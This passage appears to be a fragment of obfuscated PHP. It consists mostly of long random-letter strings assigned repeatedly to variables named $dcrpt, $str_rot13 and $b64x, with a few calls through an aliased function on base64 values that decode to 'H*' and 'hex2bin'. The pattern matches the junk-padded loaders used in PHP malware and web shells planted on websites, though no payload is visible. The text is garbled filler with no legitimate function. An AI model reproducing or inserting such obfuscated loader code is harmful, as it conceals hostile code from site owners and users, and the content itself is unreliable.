igeiAOVeUydJgVLOBpRVCzlqwpIyRqiZxNIwaDZUaCDGxnTXcLSdjDtFRBDiqLHlXpIXrgRrJUXfHqDJavlkyFppFrxUCEgzSnxjuNZcHwIpMkxleJVCNkrsBmlcQsbJeyszkQaSmIGyscJxLFyypnPPBBsrstzxqqVAgvRSdxqvZYrKcpIrCWGcWXTpPskehFdnZvfcrUXqsnAvbHLEDrGANYnbQyfXcJkbdPEuiBjAnJuPqftsVyrixdjmBPjcyTEahHTPHcpukJiZnBRizhrVlaHlPQOMiRMPyeEeHsXRagrNghwFplZZlGlaVzMDqXsNcVriNnZNTPaaWweLHeKtKvSfTeIIbavDvkLhYkvRZUrwqwgwAqOJLHndLWMlwGpqRzXPJRfiLxEASjVRzjZJqnNAjYkeEzuvYrJghPOslsRDaNTZwSILfUK';
$dcrpt='idaglfzlRrJOtHukaAmwERsOrihESxbAZbfLGEwWUeKMlEWLdIggzXvPfCSxytWyUbIAedxyIGjTJFEmmjtkgNzMPsiMjFjdfrdkvAICFsvOWyAJgSTMftyujgftLPWQfZAZYIBDZvQvsqDyIWkNphGXnLPyALOfKneIVfLuAapsrRPYNzkBgqyTaNsayfFiSiqnnAHnBVFRmTpZSYBYnyRNkINimsQfafSnfYaGUFWGYKFQIFnvdehNmvVzlLdlrVAwUZbnFxTcgXSODFifJPSVjnUwyXHOTGJNGjAKGtMMqdZsIHxQxqlGcfBAcIpvnxHtHgCmzNzpQyGXfDnbszgudITFqHaceHVLOxxMkVAAuGyYikZAJfTlmlQCTqeXxZhKwEVGAwgtBdrJnPiwuBHHMWieMmBilIShMmNlItEiVuriIYdbYjILgrpsDQApXRVJdIulBxTwQKeyIhZHsHRXXfpavnOtEJBgQVsrsLmIvQFcxEinlzkIeYIzLwrpeSwvmmkEXxlRMRUjvCWfbHOfFVdQsvEVMzqYMBCixnaJEusyVnEwURBZMFPdztzkSnidOjlLxLuaeLYayCVttxseBgIZYGJqTRthAFsxqkxUvvuSwpknLbSLHZjGFSVyiOeJtwfhGbbaWvtsjDfuFXfLWprBHMyPAcysyDYEeadaUwRDZWXdTCOpQFpxQmMqpjgMmePrETQYpHBNdyQwZeLqiZlYlXNZHtMTxaJBTzziFzVIXlewPpkxNWvZTHYZZjSVkawDYULdugLQRpLGcwCQsWpKcMKBwbwGcSIAluDeZOuQCfVFaxvsSiBuUkUqmqvOHdNTWrXVERkfWFjWBdNtlnlgYfwKvRXCuKvqARkdIUJdzSzZWLRhZcNXHjHBAEctNxInOsQVlzzKRXiNJzuhaheHQkhPnkhagpNuGEqRCOatkiFTgzAgfENVnUjaEQBkenEKrtBtGakRIqjOOKUTNHnbaWBeMbpQPsAfLaXrAiHhyRVLaPdNVrnvmPYYQmOeeNkpmhFMPMTmDOXccaPxQDRCRQZgCmlfZwulczXSkQEmdbpfBDCRfTtWitdjFpqejJqLhnDsDHEHhslIVOzagsxpjAynnNsWWIHdvKVxrYdyrPFlcELiVhxEguRTHJPDQxfkgaHWzkuPZyAbbkjwSfzYYrSFZghPDNzJNFFlPyAOwZpxkXtCcRZbHRGfYnuaaSKmyOYMMyahypdhmwiONhpuZvAxITWhlfTiURufPumMiPTvlbIyiXRHsQDzKZfveYDyqwDeQpQYeiSPJZmrWdyNUALdzqXEOZBdveHkSWIWeZk';
$str_rot13='hWxQnMBdKXFhZYFikuQPbuHrznvOUfXcBuSOFSrqqWWpuBxEuNSvgZkFMGtGkPIkjayOsODHjYWEzSHsFZMkYxqKCIPlXywgXTupHxwRvRUuJBLOAXyXTNHvVxGSubyruReANArIrKbAllNkIkiBYpvtkAkEaIuuYzUlYKTqvupfFbqNlyNJmIbxhLbISvbRTvcsfvgZOvetwTFgRtQdaRAHcBpUwQkOkMfPgLOUfsNalshcjXfJnFrqGeKbUUPfgvumfIhLZuLKkSlvpQdDVTsBYBbSwqxCjRnqzUAXnkIzDttRjVTeplemMfEHUbIesWTqqtmEcuCFNuWWpPADAEpMiTScuBGkWzAlrMpugqytJupyJOaiRPuZImBBmhLIGKtxVhQBxNTGHhdqvDXLssKzdlzPSjxytPUpWjPTxJzdqbtkE';
$UWbtSKs = $HcXBhJ("SCo=");$EEksr="ZjhlUiQiDKrsYcmtSrIVhzwMGfjghvVGECsyjHgMr";$QOwtkXpZRu="nhkDPLlFLcAFplPthbTzwmsTzFlijABWgL";$FnMfPmnTjK="OzwlkTJxgaiYgsIBqKLOhfYAQvHqTiigHFtsXBODBwahOIIDstrZXOzniFDBNLHuPzkmaYpaUqhIxPkpHaneOlswQU";$nDxafPOkYk="SvllbEyNRQwQFAPkYVmTVHHZZkEuRSviNfUnjsbaHWRLxfVv";$OPj="FhnZNlSInUOgeYSdDNPTQOpPDONEdslIYYgkkZ";$hA="PcubVChrepOuPxHjemOIMsvrNAGOfhXuJrvEtcvWQiqeewNIhB";$axz="dBJVfjNtfwrNehABlJIrPJlwDBIIybzaCIvHrhzWcPJHwihgspyGxibZiiHfjGFkNArDHqz";$NWWr="EXsvQCNYaWtjWGN";$XnvMwSjR = $ghHNhD;$b64x='SVTDbKRirSzLnCgJzlQhCxbDKFpGIqmZKgClquuHLssYuygsiWzjSaMbFBHMqUMaAnlPgewRwmppjwHSRfbKFnLjOSWdlhDLvnZbsVsnhHCRCiJtOjcSxnCKFynQeqaYEZZvUsICyKSZsaRFjuygHZQlWDBaTBYxAyRUpZVMimkZmbFVvCbBaslwUMVmmTimQAGeYaqgmAFzbJuVkVxKmhfGUatguBSjAypyyddjEJhesCZcWVMIdSNxsfDLgVvftiErlgApPItHJSJemUMPlYlEEpOKjiPbrSRDZsRnzKUHbcknXWDiuOMXCBgLiwmAndCMUSaSbuzcxJQuetbzGOVIOcSwyeVkiWxcPxVQqTtMciFGaHEfUANhCGDzKYisuFUiBPzRhRcJzIqzOTEISRpTxRsgpazJFtrgHPxnfzXdgmCuFGbyWqrtHiYViWdmpvtvJpiPOfSuRUOVZPSVFjNLRLGzIjLwEERmSzBfduAUNnplChGgQtRgdXFLgPhjSywkWXqZQPtcCHnentKdLbjOyOZEdgmVEIfZeVyuKQwmWiQkBAnlBXAYkzbnFnJIwngAiEUTTPFPYvzYUmKVjjtuIvhMhQTDdZDMcWFVkJjIDJHWvrREZkxHedSlTLpxjrilMmGWvpFXxLTRbkUaURgYUyJnIxKRNsCYdHVyVZUtKmJkxEKQvqOpNXCvuLLHCMFFSZCNyVFHipreSAVMPiAbFCVZmGfpRjTJJVWgQBnypEcGeXstFSvkTqJfwOTmxNWfhsmxSAvHDxmHTeAXwUhpjquFdNsBZNGgescwrxcUtqaluAjPTQddgWhjJzjILqnPgrLymNRGCrRvrAjjrMMxiufrsPzdEMsKCcHpQyURpkmFkVnBIAxqtbGKqEmTQFEsgKfwiznWKAauvnUCmQRFrXPHBbZrfDiMnNhVmURWurqpEJQrYhVOEjveLvVQxDbjqjECdUXXkMlPUBFShZHLjBQUvkjSNlBcvfeXZbUkOFzIgdaNcgzLgOFCYpTkAuMuYQQYSLifPgmvjmiLSHxZvBBSPTcOmOhleYJWirBXxNtfAaQRHMQBnQSCiUrwhyglVpHdFHBbvtgutwkziBzVQrxZKNURLADGOjjSRjTLCzEuunsCnQWEGuDqgWgRViXiSgaiPtTrRWjKJaMXQIBVbDkIzQYTZVbRBbZqusfKNOTwOFtdntYOVIVTzUMXpNnqnMegDkQqyKLmOEPBWOqswKkuEXrtKdhyPlEsVvHuESfRVUtrhIIdsTWwQNnZQvxGfbxbVEUYwzPQtHgapPdgIZbXMOwDITImuenOIHMDfatYIZYwOBbVACsMPNOxfVKzZxmhEyKiYDgfCEBPecjedBqTndPuyYsxVFdzCOHAQnFsrGGwhPZKqpDDRSwOQOkLSpJuCQusDyiTDOOjDNUsBxuRpQFFdqPVdYOFOhwrfEJIRySTKMkL';
$dcrpt='QUTIutwOuRKzCdfgNjhyjLbQFePAPghebBlUThJmYSkZVqgJYngiyHydkncAuJEUjqPcxXPvPZukPZtNMYvkGTNqgpPZXTUhiiJFFXzTXSdlSwYdvunAMAPSOFRMyktftbKxZIrwAuHRqeVKXIJJIXaVbsHYbzdvamRZUHUUbaLrefACnIKvFLqHCxeDVixVUpuPvnJwNTlSzkuMSDGynVEpsISNqpIkcczyPHtDAFUYPNjhqPedkIsCPjpFYxpaYNXNurPtvJRJwaQMqUPZbgarQPVOljnjwlwPblhwUYeQzVbnPqmRVMhLBCYMkmvGyRUzCbuVAyLySMkIbxYXiFhjGgVQtQwqgqnIQHDPEpmxAxEbtbYbfFkLLFaDvVSBKFiALlPqZBlzYpAQqXrvDBFNGFraAIbJnJiYUxNTYYSwmslbPcVRDAEIEUJDDjlqSUnmrbfOzxjMPVmdXiUAhXilsrOUZAJRTWdjxJyWfHhuCuWzbQzjngvFxIYVhHMADqjAyHwcncWQVSpXimGwtAAphyjPewpgLyGIeBjScfIYywvGJaBbAaQgyZVbvKhFHnmMnxErbLpzGiEpieQhEGNBFJbASJezWRKjnNZOyNneVRSdwhKzNyaSGbRyKVwfMGPztOnrCaUxRMaMujlgHLymlpjwKfBwLPvDEITFINbYZBLtLwYsgWeRKNmusnQcckGfsYKzMlxklHcWcaOIwsZgelAWYPYBzdGQcQpnBlyMSAJvZWCwnBCRmbNkRlLqpRGrguEHFBSyaasaWTwJvxBHynrOzcEntjEzDIFIIWFJXWiTPdDJADqxQHLPipcaXfYZmDHVzLdVHLPWnRFmuVJJbTXJhzJEeHdrJKLHVnDCYRylhdXayHiYZgHHFPkJwnAEyKktYmuWDSIKvFjSLtqkzWRDLBMGpLJlvtEtGxPiOWtiBCAMUPWSkmVvNHAbsimMCqFHNuPBqHjqjJBDYWViiQdWxDxnMKzNzduLWIMlqVbYdCaBzVKgLmcHPZUaiTNHWgSTpEEdYFbbhBDfxMlHYOpmmInvBABXgtqvwTyuzYVfzXKviVcGiQSvXFpYFQVLi';
$str_rot13='tPZRzdepSbVnuyCUKkVHWOQnSMtWkJxcyVTwyXKPyGcrDEkmOguLujylVRIFAEHxYATxWcluhpKKsUxGAQQuZneuEMYdqFaOEtkZvVtcJCMbVIHVyWOxjSqOFnrusQhviRudNlfVmrWIZcDWYrTiiiwmWMgnDNikFCnROSMajiIIkKEJAxriGMvCyapAOWLSzyiMrUlACuHmdkVEIllNXfOUgCvUzFlxcuitnusqNYCrJxurhFDeKQyQssjqWvMzOUrCOJRBgtRPpKFwphAZXxpPPzektRJHkaiYizZOrqEFaIapQZNmwCBKAfVSwdzGDgeLFdAvSDZSkZHAyumuVmdvsyNNbLTESXPWAORsrQkaqraNKmGfYjZrHMDIywMPSBkspbjesTEHjETtqAypiyFPJhXGdJU';
$b64x='pBvSGrWPugrrlvpYLuLsvbDLinGRUZJiAeAFvWuOcKFNFTMPNWghXisFxyVQxFywJXadTTrvdViIpuxbqcIMkZQgxLWtqTnYrNBjHseKmMRafNBvPiGzIwGegbXxvkULYVuemynYJeZORZIfIndqiiTqkQleBfPYAIcMGqLpTjdKIkpqzsFgBzwkOgpOMDMlKOYqDiFwshfzsTPqLuxlssVgzJUkLgwvUTLybPtSWYsNRGdCZZmRrHXpPrzAWvvrNfnPuGgPEXCwDexcdjTUQqiGfhFcCZtpEGDXLjMqGOLJsHLVQdPgSxMxErYfQrUuwWshfDWMQgUiNeDdhsjzOVVSLUXBKrvGnlmtOiEepXMBbpEIfNgthCktwITFyNkLYWENeHrSFcufQXOvkuNsVyKQfdVDQFOPCsbfyRycTRiinwDXPPqkmzasCVvSBigCZhHxYeZrvhYiDBfRqUbcuCuvxnmxVtyuZfRxJqNEWkMYkrPBLRDetwYpjLlEdJYDnpZxEmaAxlyIbmIMDKqvFpKOZvSCdQeReENIqNHlyetYQaLTjAnpOxCNRuPvjtLnWyvLKBXheqFvQqnZQBNdyqrpJfiTyTGUrBFabbHgsmBHbnfrnTvLiLaRqiKmcQgtrlTsMAXDlXjnkqEzIyjQIJgxsRKugqlxaEnNelqPIZctpgRwdAlMJsiaIsTOIEKIiYvMJkBQjdiXjztmzdyhUgHDyAQfDankyIWgsXwBaFXJDqvbttInzpqWnFCrFPBcWXIpUepuimCLCwmvOUImJxjwbkMgZniVkrJEUYxckymlTYGITNUbJDxLmJRlWzhGpQJinfKXcxjVvpDNCXOkZLvmuLXqKEvYUdHhIrfjmOeIChvDEJncuIONTMCDqWajzHRGywPjjtRkAMOdvbGOiuBbFcdVyeEwkvbhQqszIIKiuyLOYrCgkCiPdLjBpOwZixgzMXXvGHczEmnCdpJnRrCubMvrAQPhnVGztEtykUWphJQkYYXpOzIqkcfjTUsGPXEHBXElRBZYJPIgnFvbeDrOewYxqqcFMgLNdqyuqxSYLAfYFZAiCQWgMuDBifFVlrIOGFhvbZtlAXkeXKmYZIekchMkmrfXgmLlrSGsSZERwnvtxgsVOVgQcsBphflOSwZipGBGeEWArrTNxKhkFnBIeBwMGhAyDzHrEHwIKsiaIBmeKuPphPwLPsxvzWtBVzSzfnHpfppNPasYuGmaUiMJAidyFVYZuqyYdEmiSavgaMeUsRUlzGUYpyVTStsmJpklTXTLxnsyAwRRMLDkRWIfTDyMWPyedhqWeIhCVzzvuPMgZOrQjZvdbSpXgMbkTQGyXNzTLxNflYLklBBwZVYbOmyuyAErPKnNWMfIIsmTQXEbyeWyzUYMGwgdvKUKThxQubybSjvIgyjdbfaAAYMfUSjpbdYVKULdVIFnRzVxwEZxKawjyhOszXgBaewkZGNunsHEqcALGzHPzD';
$dcrpt='EONalLeSXhYrwaYwCiiJiQLkfSHPVyQzMDAxNEpjkMAflyCOfjxOZiyEAeuvDjtOlskYvZIFkhLxfMKKVGyuOVYNaRHcAaQLsAiNzQsKyCGDnPmIvLCJfZwfQdhqdxAUXIHVYzewAjyOYKVuUxcAVyFLamaDiAyFIEBGcFBDpYQmhkGchhbcfGOfsniBnGFvjfAMkaOzYdkfnRHUyIXDpkifXrfKWLeFQErAEEyCHJhvZOpxxLAkvIqSYVCUGHYVKPVOttPAbWUALIXHTWRNEGFCBhVgnTCxIxkbPaarwUQgbmmuidhMKMNktIRfCtDjpmKdMKTidKOFwbYeefqnsdYjLpqmgsWvEfyrqsztBMxwNwAsaQFRtcbdrQQxhlRkrPBGGzzglVbyrCPRRvIjWimnYCKFNbQeQQjwqIbadcyTEnKUhSddaQQzsBdfCtJRjsmYanYdqVWuIgnPYRtyHiWYiADjSLaBdmzDZWfPSBiAHVPeMHctpYRyXTHqeIQhuPjTLpIDpQDWkRAXyCPMafJxZrMDycjrRtjCgRFvghQsyQOVsDgRiQphGAjdCtTSLdvRuZLaGCsDsFyiHEAPTnWzNfbPXVHIyBYRZKrFLIhcMeKuijibxFaKjbzhWFPugnLfXbkIjRjVwtpEDyezCeiLggSClhwsvgWsHgzqyhlTAZWCWAbyFjjkQBlbIHtcmOTUvRJSYukYugAPfBNKkwuaWGBemtgZgAtBrbSPwcNpIMDnnqxXkRxhWXlIqRHVrZWhBOWWrJKyUmLHciEmzAuvxeClwjhMIdTIrpEHxNFsaqYcXDpVciqZMskhaRuhuMQLbTRyHwpglniiQWEsETrrKbXKSQSMcIxdBnaHKqNvcvcSsGJvZAkJBIuSyLdAtActODaXsNRuiTLZATTYteHtMALJkOJcpLwCNVYEIPXqhhOHbIeTlMmXlxfWkOyYZTZMnXrWlNLuvAAwHFOSQaPBWuxhiVFHnFtCbiXNwIgQHfLnKzfZZuBVOxCwsHcflUgMDdzYkeOskYeuxkuVdurrQSlIzNNjItwkVUIFZVWJTbCPLvLnOBeFtqmsdzakRwvMrCrPxNXqnzEyUOLIpPMhfyYIWYSmvMyknpzKBwzOuclNRwwFlHMQfKXBiPODBLmnZLXAGwNZXYmnUITfOevTPsUxGhZGSLTsVQRBLeZIClwwtpaHtvZHlTdraCWTMPkHeBHPFHXHstckgdRYXQfjKiAjkWcWLMdqnKEsQaYiSBSYEJXBYCjhKjsufuQqGTFTDJKuJibCJTAMbWMZyWHIfYBKRrzxJePmNAfVhgxqZxbASNYQiFXNDyxvpWRXAgjMfpgmvECTAcSspRhywekzchtrDjnCPXNUlTggWhzwJsOY';
$str_rot13='vOvPBwDHFqWaBqwECGlazglbChQVeYgzlBnlWqSBfOaGeWjfCvfABQbDYRXCpdaZdNlZCdZHSzmWUxbxr';
$IgVkLAfdJv = $HcXBhJ("aGV4MmJpbg==");$b64x='SPUEtwRpbPTXduNJyigytXfxKeXuVQTmeNqWjHkkwehYyuIvDnsvkyRuCpNXeGjISAEbgOMbstaqNIKqVCjFZbYaqkXTqhBhgEJMsvNjNNzZUIpPjYTiZrjOBGHQNHytkgebaskmeimZRanAYHixXRkzxrOKXLcHrHJrYtECbqaSqOsOvZksQwqnlEXjpzqGfYWDRZfSpFjetaSmaceQXuDjXASMZhsEGNhWmMOarxejxwVxYZNVTPEQqVbOdtsiGYeSKSSBpXKktehreUMXiPmyLpLOgDwMBAdLsWlftvqkzxbcQmzZbMWMAhZfKvSKUvULrfqJZfuYCvaSHArhLMUKttPcngmHCgtsMIbLNUiPpJgviWCthVcBprcCypIzVaQgirrvkAJYiptQKviSqKtEaUFXJnwENmjvDAQnZYlHnFxXZepOngSObWLjJHmxtwRvVgIvFUbsYYpxCdkQjcEKZOThvfEmaVIWBPQfJRxgplDROnHxPKhnyAwtfzFfuMBvCrAKIxrwhtmVGtsVcYiaYEtDdxhWJJrKzruGmKcudpOiIFdjEMjbqbESYLpHTertUjYguaZWPNeWtIfwuPWiqABnKPUEtKwnUTTNUTJifNeXUJSnXOxnNXBylVbEeWryPkkidTrIgUGadXpaMkNzHOWsJxVmSmLIWVQzpHgvBlvdjieVSrTYeqqmlLAexkMtFbRThXNJJIlSQqmiHfgkUWygHxkdHwVLxMeFiRNRzYiPOvxUaDeUzbAFyKIEfDPcOTgxKtnJrWyEruXQWCkVDKZBUIezKTBYlgvWzheqdbTUvrjQSuLUEkvXSZwbSxzEDTACbdREejyzAIpRBAMeKgbbfXCyuBbWuayUdOzHYwfXdTPFSBibHkCmhEjaekwXKUSNhQTflyDqrsuJSCjYMMKtPTtTDpQmihzPXsvjPXYGpspGTXdfiOXXgQQKegWMnwBLNVucssIGiwLBtPGCcdYITpsxvpihjisweLywcfCKaMluaRvcutLmHCJBqrJzAavdlSYNyAyXMJrMZkpuEzfKapLrFTpetihEBgsyfPvRXlEwwsPzQvJQJuGNmvSFDzjdeaBKpwBlHEHcvWbkQKBzdglPaDuECcgGchPrDQCJuJLpelzUVZSyGDmGGgJhiqmlxcCzSEhLMsZQdYjYXBWcDIJIORPXgCIcdJBVmhfYZFncDWaZWwcAekhsbxOIywKBfLVRSaqReDTHZuHVpiUttCkTyYBVUlVZWQQnqFFviyBHrhbGPWyhXIbvHCPBmjZIZpWOUBICyjiPQjvGFSNbanVgqjgCtfKsTfGmGnODWwRNfltjEFldtgjIrqjJUtBNyGaDTngQKXcPJUyMzJPRqYzfninhaOuzTubNhhcRFefnYDZWMOnbllgYTTFUhYtaSumZbpQGSvTqxsmifZJQkpOeitYqrrqIKDHLrWQjrJYnakwFJfvUTIYbaWQRMgzViGgzCWhtGgGfQBLAfFuZnsANNrdzWcTeIZDJWkbbrggghrGmwzLiqlvcbzaXBUbItdrpnSPEYWkFMQSHPcPeNkHOigLJAMrTqghDYxhxSRbEgtlVwAaiKgxsmhaNuQGJxmLvJsRBiTFqlqkgPKPZQlrDtRqlHvuDHfYQxPQGhvVuKFZAqOzFZphSfxDmRXPYcNnzcdEjzYcIEcHtqfXqvfHZbjltgbQiOdhqgkAejbNmduFuZCiTgPSIYEAfFqNSSuiYehdniqAmiefHfNAMCSTAwteAhssZkAXpHACqpBbyegekTewUwpTrHYQOPhNZhjpnKQDyRdVVjAfCEBwzPqPVNFJblVaSfpGpFIMwMhrvHWXKWSilHxgTbqUMKVFpJKDnsPiDWZYcVVlRmucUQJmryhChCgxkqzYhngKJFIkAcwRqptJebVUYCxgdccptBMApsJXXsIxudNitgrWHmRGONlsPnfHORGciqAFghCZkpicUzZCkqHzcSQrFVySMdvuSUZYBBYkpgnjeMkqbRODiEtNYQeKUzDMtbktbiErOrZScjHDAvFIyXUVOYehyItqJDikLMBzcZREiyGItkPqHJlUgqbdxUTGxbQINQGpPxsXVXFNhTcnCnihEjlaDeGafVhsLNfAKxWFuaRaTTnvhwckfnKIRQhwLpNxCSwlptqhtghmZUgGQiQVwacMQkhBYUxAlTkZlAgdfNqfhxkXebsBbuMrEURcnOCAHNYsMfvSskxzHgVLhmLIHyyKRqMeDOEjaDalhUDYeZXkgSwNFgVldtvUhHZKvctUeSfLNJKRhgcNYyBcdVnHNiBvPZEJCxDfpIRbQaTYgvLESLHVfuCtCDNQbQzcmBiCJzDzzVWeqhIHsOcyIdqJGCAhsyjFZRGIqigOEDSTKaabncYVfnFlpEtHbblaTRIIzpxCROVanVbCXAWCmaNCEFifgTfzjnghbcKSrFSEAtFWsbyebLGfqnkwGqUpcbwdDfvTjMXifbeWccaENfJCSTYyIslLSInwmJpWvleZnJwPLwtXbbzTuWRcpcmgjACWIrSDbWCOeXEpTWluykMRgDTvfFbOfDKmtCPvYRicnlsgicZGmMxTOQnTvphZsRmjTbERsmtGyKlfmlkzXhsLXfeRTlRKcDUVdXlwjFbhpmmayXZUeQGBVKRpvIYxKsSOqdJYIKfxwSxuPwntMtTgCKvWSTubkLpAOXzxgdtcVPwjLiCWCUcdeXaWQTxaEMasJYnqbGsxVNGfvIBWCDAGAAbqSzQwkqmtnaIOfzkALRegYFcAibghaHXSfNNPcAiPAqDePnFZEJfCOIbWJHDKpAbTmPiOprcnffsutwuWFzytGzOqGrzuRAmDpvRckTPQYhjrccMHb';
$dcrpt='rUHmLpCaGgBcykYRgKaDLvPSwPzcESxVMDHXRixxPXZMIxDOHcrsxfjSViUYaQtmtajKIGGWdFILcKziMpAIvjZPRTmRiGDbfMLNSrKVwRGXbEfNSeVMnUBEnnVwTyWYkHkCyuxTlCqmfvzXzuKmOKQbXLWqjTNTZyUxRQPCseOWYNtyGcjumZvJkRzTKLMJifGaVvbmZQIXcaUIDdcpDWXmNVfWHrGPwLprfrcEGjCIjVqMzsaBOyNBtSXZIcpdNDTStvxYEyGmtwzRNYsawEbpVYNDabfNeyexSawVyBirWHHjFzjBcKPyIbahdGuHdzdwYYrWZYmVeteKrOKTyYrGZQNCwhiAfMVdKLZJKLeOeIXUVgNTedzEULfqsOpxAJaJvzSEkwROdpIzvwsZYQDSahItvWpuGODAnvdyqULSISrdNICMXeEYLlQgIeAnTCNgwqdLJnEsfUUtDweZZhXKTNqBsqnkRaQnqtyYfbPKwJcyegxdpvnHHchyRvhJUXwjPTHUvxeQFgnKNjmBdZhLCpitirBcNWLcqRwKNAZtgMcTVOTZnajPORhWHJyUeiWTZRcNRbfXmHqiUiHhiqWwGeRnmpHQxDKVTlhKNMHZtwHnENUlcRHJvXwHlcWheGdXSkIFXOdPkLCnyxZBNGJhEeOpgKxKQZ';
$str_rot13='qegOtzwsSICJUsXAukduBqmNMeYhXOvNsBaKaxcseEAYVxYOhBhIRvUcYTkwgeiyFihFeJXImxgHuevBecIvWCyUUhqalXXQGFwKnStaOzHhcCIgdPCZsZTLgJMsGihlNcWbupbimhPpiXvlMWKdvdpBMasRiZdwbzxVmXdzESNNphybEIEYLSZWsrNaPqwROsMappzSGLeVtcwWjZuusSqJJCJySeOGwZgjneCuQGpihjEriXKAqzJYbsVTWKYRJEbxJDQzIEHqNkGvHQvwpdTPvPhQzGIHjidSLtrSWxhignEndYJRbcHVROMPTTVdbzVlRMdnilwPYzCbxksXMYtDmERfxNIXlEicPLPxwlluKNUH';
$b64x='nlRbOzcAtLxUlwagAbNDffXFaXunzlplyFNLdPKVZhPkcQrcRDexIBbhyUvwfjIcOvOsJymIecsHsJJILNETneakYVGeeNGshuiqswXVXqCOyKwIxABjEbTDWAgAmMRUGajXVHSswUftEaaBAbKeCEgXDmxpYNidmSahztzumdMQeMrEmBhOEnLgZHvyvdBHVCpTUmmGrywUjmXxNfKrSVWSCQqWTQdnRRGkdSQTqMmZYkVkPeBgZWYCMNXGdAturZFURUmHGAfdjanyEndEjcfWpCbRculttqMKjZQqYVtHvHEYUHCeigAXJBOLUzDnOPXynmNlhfsblVZGbbjkhJhqjvAdUDQhsmFFzsqfXggiBGOCHXlnftEpnDShfhpWvuBtLqzIwerWKEYrbjegchVqKmWquKlndmgPCeWyiMutQsiRCmxduRtedpuXYeKCrQrtUMQDYjVObdFcQBfjtXNVlGSJLDkBSaTmmJpktjyuMcVCcAlvxYQheIQPKBqDaJpmsDWKluDXVXZYxKSTIIalQraARQCrYQEqtZAETCbOAAlWjEQrLQDBGcBxsCOqSRGkqFpigPXfOIcXLsNxHqxnSxKjZXARnFBEJpMPDivrrxnbOBXUqvhhRssqprGcvhfdVRszAMPqIDQVdOQtIXBzpspdhUfCBkexBwvAIjpqMflpTbIByIzNzmqGHUHhELdEGXeNhSDtXOIqpPqlWpYvBNAhHgPkrsPwqtjxklpIZwXNkNYgbxBCJAKrGYawqpSFgBBRMQzklVxWIvcirdLaDUQJSqeHFWmkWNbIcZspvOkCJMLZpwzSPpageeNJBZTxmvFpuWDOLmruZbSnWsFLfeRjjdsjdLGPfKdYHgNRSDkRdcFzTJJzOZIxcaGFkLuqwXNcdZtVCDmeerDyZlWmkEJNdOsnAMcVJQxlPPGRRSvvIYSIJOuuSDgvryiqJkKsAGcPUJfLaAGJyyQHMjadlGyDdGsNrcEQIHeDPjNPKtyHrNnCXNFItckWicJzeMOlSTnHcbxlTuTJhGkEupllRWhZYqyCcLNUEbbgCXsvrkEXRnBKDmVuiDSGSPhUAupEvqKWmbRcmvADIamKMHDujUZcJGwJajmvYWRKXhNJCmlJMXTYFVsnQsPzxLhxUustqicNPpwQBIzNeRLJNCxDtlBQWJmrCdJsLLEAaZqagpmlfxUsZrUscVHYdUOFXxwiiZIIZYIFmvQRRkjQaDIcXpBaIpGfMBnuBVBZtIEecvWUeFjeHrhFfhFNwKsHLealAaKSJNxLHteLxpQDexHjEMxZVOgGtgRSHajqOGavYfgUTwXxSEHwPDULQariHIanIkDVQcrpHWIZRexJJDEXFXIvyZdeHdRONTKdvARcVYbMdXUlAXieURZRqcvWFljSETvZtlbNJCzlASWzPFdjVcAkEVGigPakJvjBfKOPlMAkFxKTbmCWOcgsXlZDaaNiUwjafXpsJnbNKkHkxIgkKMbgXbjyBwGvSPUXlIOVWQhfanrXWWhfJJMfKVDKrJeiXzGjGuECJLhKZXgvTNAbwLHFGJpxsTeqRKzxECzmmGwLDCfVqfXkQEQWmEtexWuNHskkTiWFOtrQuVLJAhurkjMXNEbKAUWglgQEONICFyRyucHTJaJUjURwysFylCdWhUZWgHXkFPIYRprZpATXujusByPlZSHhlfDRNAbRpjPFXFFmEXJYhCPhadTzvAGHGiySJZJxIXCFCGRgDaEKCSsbVkBqKgwPPuHXSPTAMveOawuEwXNxpEzjOZYzFvNTnvQfjjFwEJjeeDhZZuxnYVWMuuKYOysBsHGaQKVUueYXgFxFYTswnNiHhsevPVWGDbgtMbmFgKCMOYRNriidWQjDipXxjTDlVJFgKrLqBMcpktBBBjeWznzgCWElPGWjpBPYsAOsMq';
$dcrpt='KGfGlrUeREbBWPwStjQHX';
$str_rot13='OffQNIRUuMjCsIMFxBJepWOpYHVLMYKAeqPrxfkRRTtIBEnxEWaSsPGrVBbIAkHdZxuxCdNTWfBWinSMjTdbIJscJSjICRLCNEyOHkHDPIYXvRJFKMfRUxTcOdLquVrgZOUGybJmiHjDXsHHDMXxIrAwTKMmeCtdrMKnmSBvYjyWCeDerabYraUjKGwnhnsX';
$b64x='xKWvCyEgGYzxbHpKeyjtmmTsOqpqmJeitADuXHAceyAfenpJkYBWKunXJcmvLQEEPGXNmXprvnVZBKhkhIgrbUnjWZegphKdmhqAeFqYSLXuUEdBlKRmEeWZDafRHqUTxkSaPIygtwZMzdmLNdxrHtPjSUazJuSfdKFssdzjYyVxaHhNjFDQxszqMznvtfawQFnHIMRfJlDKtKxCOASlrracqnXITXDJbQPKbfpLRRvjbrkpQcAhuZjJnGQGDtpFJDOKJcvAuPivgtJWVJDpImxvSmawFOAnsnyAPSziIHcnzMJuUmhCYExQQxlVLkICXfbNYAvfgySeJBzcmGdkKAbAxMUhXDJuIKgfJbkPYctHdRJqXMaHMbGimBPJdXdkgJrPKBdIdwOgNWVjiVqUwVCJVQsYNUJtEZhNZKwcfJIsGEBnYQHvlIdgyUFKPnctmjfltaOXjwqpzqCygIsRqvXNOCxDPYvBHaNZaaWJVLXvbzsHgJyVDvIrxEuLbOmIOZHpzdXuOvnpteVZmtUPncGjfZUhmgPbFWPdzlymGLbZQWYcPssCuxLAwegIlviQQxupJRbObcmrYKTmcKOwgYvCdBJpwsElnXBWnCkPdxfBhyOJhCEnaZpdZyRvPvgcSHzfIiULFALlXzufBYtBxhdVFUrTpWvgDTMKBfUGFFRDelIFJAFfHIalCQEqMZWOsIyTNsztXPvbACfibjniROTSEyhQxDEOkCHyTFqQvKrUlVdMeQUvEOmIlUyIxBVhccFwHULbdcWpxzabpvwtiiauCXByXVFaXJwFcgffIBTFZuGOOBgwiGpKDpIZjMZhwUlXBrDISVmRpseCtkxBQLLSZtsJEQQzLbxLRZSJuFaiWeKpPHqesaxRSOAVEPvOqRzgqRqJwPRRTbGhIVmzvJqMxpHAdbpSsmZHdOQzDgrVHwdprqnkycWuscTUehNVUlcXzSWbymwfIzuynghLjdEBFyUiegeYRgwqYsQVdmakLUIzapJjsnjwkeFpkJNcPIs';
